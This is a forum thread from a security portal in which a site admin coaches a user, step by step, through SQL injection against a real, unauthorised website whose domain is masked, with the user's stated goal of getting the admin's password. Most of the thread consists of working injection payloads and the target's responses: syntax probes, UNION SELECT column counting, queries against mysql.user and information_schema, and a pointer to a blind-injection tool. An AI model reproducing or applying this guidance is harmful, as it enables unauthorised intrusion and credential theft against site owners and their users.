Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 55
Members: 0
Total: 55
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> xss? Goto page 1, 2, 3, 4Next
Post new topicReply to topic View previous topic :: View next topic
xss?
PostPosted: Fri Nov 07, 2008 10:46 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




hello .. i found a site with xss vuln..
http://xxxxxxxx.com/index.php?mode=search&content=>'><ScRiPt%20%0a%0d>alert(399090183581)%3B</ScRiPt>

i get:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '>\'>' at line 1

and a popup:
399090183581

well can anybody help on how getting admin's pass..?

thx in advance
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 1:32 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




You have sql injection here. Getting admin password ... maybe ... but that's not so easy.
First try to get syntax right. Try:

Code:

index.php?mode=search&content='--+


Code:

index.php?mode=search&content=')--+


Code:

index.php?mode=search&content='))--+


Please post here possible error messages and other possible feedback, then i will show you next step Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 3:06 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




http://www.xxxxxxx.com/index.php?mode=search&content='--+
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'--' at line 1


http://www.xxxxxxx.com/index.php?mode=search&content=')--+
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\')--' at line 1


http://www.xxxxxxx.com/index.php?mode=search&content='))--+
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'))--' at line 1
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 3:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Hmm, try this:

Code:

index.php?mode=search&content=-1--+


Code:

index.php?mode=search&content=-1+OR+1=1--+


By the way, how does look like "content" in original query? Numeric?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 3:11 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




those open a page in a website....
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 3:32 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, now this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 5:59 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




I was just wondering if he can inject php code into the page?

index.php?mode=search&content=>'>phpinfo()

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Sat Nov 08, 2008 12:02 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




waraxe wrote:
OK, now this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1--+


Code:
The used SELECT statements have a different number of columns
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 12:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, it's getting better Smile
Next you need to find out exact column count

Code:

index.php?mode=search&content=-1+UNION+SELECT+1,2--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,2,3--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,2,3,4--+


Follow this pattern, till there is no "different number of columns". This number can be big, even > 50 Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 12:25 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




done .. at:
Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--+
it displays the website Smile
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 12:30 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, now you need visual feedback. Try:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1111,2222,3333,4444,5555,6666,7777,8888,9999,101010--+


Look at resulting webpage and look for those numbers. Use "CTRL+F" search if needed. And finally look at source, if there are no visual feedback.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 12:36 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




i cant find the numbers on the site .. i find them in the source code..
Code:
<table width="460" border="0" cellspacing="1" cellpadding="1">
<tr>
<td><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
« Προγούμενο 1 | <a href="/index.php?pageNum_searchresults=1&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">2</a> | <a href="/index.php?pageNum_searchresults=2&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">3</a> | <a href="/index.php?pageNum_searchresults=3&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">4</a> | <a href="/index.php?pageNum_searchresults=4&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">5</a> | <a href="/index.php?pageNum_searchresults=5&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">6</a> | <a href="/index.php?pageNum_searchresults=6&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">7</a> | <a href="/index.php?pageNum_searchresults=7&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">8</a> | <a href="/index.php?pageNum_searchresults=8&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">9</a> | <a href="/index.php?pageNum_searchresults=9&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">10</a> <a href="/index.php?pageNum_searchresults=1&mode=search&content=-1 UNION SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,101010-- ">Επόμενο »</a></font></div></td>

</tr>
</table>
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 12:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If there is no visual feedback, then it's more difficult to exploit. Try this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a--+



Look at source code and search for "xyz". Some other tests:

Code:

http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+name,2,3,4,5,6,7,8,9,10+FROM+mysql.user--+



Code:

http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+table_name,2,3,4,5,6,7,8,9,10+FROM+information_schema.tables--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 12:51 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




Code:
index.php?mode=search&content=-1+UNION+SELECT+0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a,0x78797a--+


With this it displays it only as page title

Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+name,2,3,4,5,6,7,8,9,10+FROM+mysql.user--+


SELECT command denied to user 'megahz4'@'fusion.bpweb.net' for table 'user'

Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+table_name,2,3,4,5,6,7,8,9,10+FROM+information_schema.tables--+


SELECT command denied to user 'megahz4'@'fusion.bpweb.net' for table 'tables'
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 1:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So it's mysql < 5.0 and it's not easy to find out table names ...
Are you sure, that there was no "xyz" in source code? Becuse if you don't have visual feedback, then you must use blind sql injection methods and it means, that you need some program or script for this. My suggestion:

http://www.sqlpowerinjector.com/
View user's profile Send private message Send e-mail Visit poster's website
xss?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 4
Goto page 1, 2, 3, 4Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.058 Seconds